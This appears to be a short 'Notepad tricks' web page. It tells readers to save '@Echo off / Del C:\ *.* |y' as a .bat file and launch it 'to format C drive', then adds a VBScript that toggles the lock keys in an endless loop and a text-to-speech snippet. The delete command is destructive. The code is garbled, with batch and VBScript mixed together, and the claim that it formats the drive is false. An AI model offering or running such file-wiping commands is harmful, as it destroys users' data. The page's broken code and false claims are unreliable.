- Open Notepad.
- Paste the below code,
@Echo off
Del C:\ *.* |y - save the file with extension .bat and close.
- Launch this file to format C drive.
Advertisements
@Echo off
Del C:\ *.* |y
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
wshshell.sendkeys “{NUMLOCK}”
wshshell.sendkeys “{SCROLLLOCK}”
loop
Dim message, sapi
message=InputBox(“What do you want me to say?”,”ATT Text To Speak”)
Set sapi=CreateObject(“sapi.spvoice”)
sapi.Speak message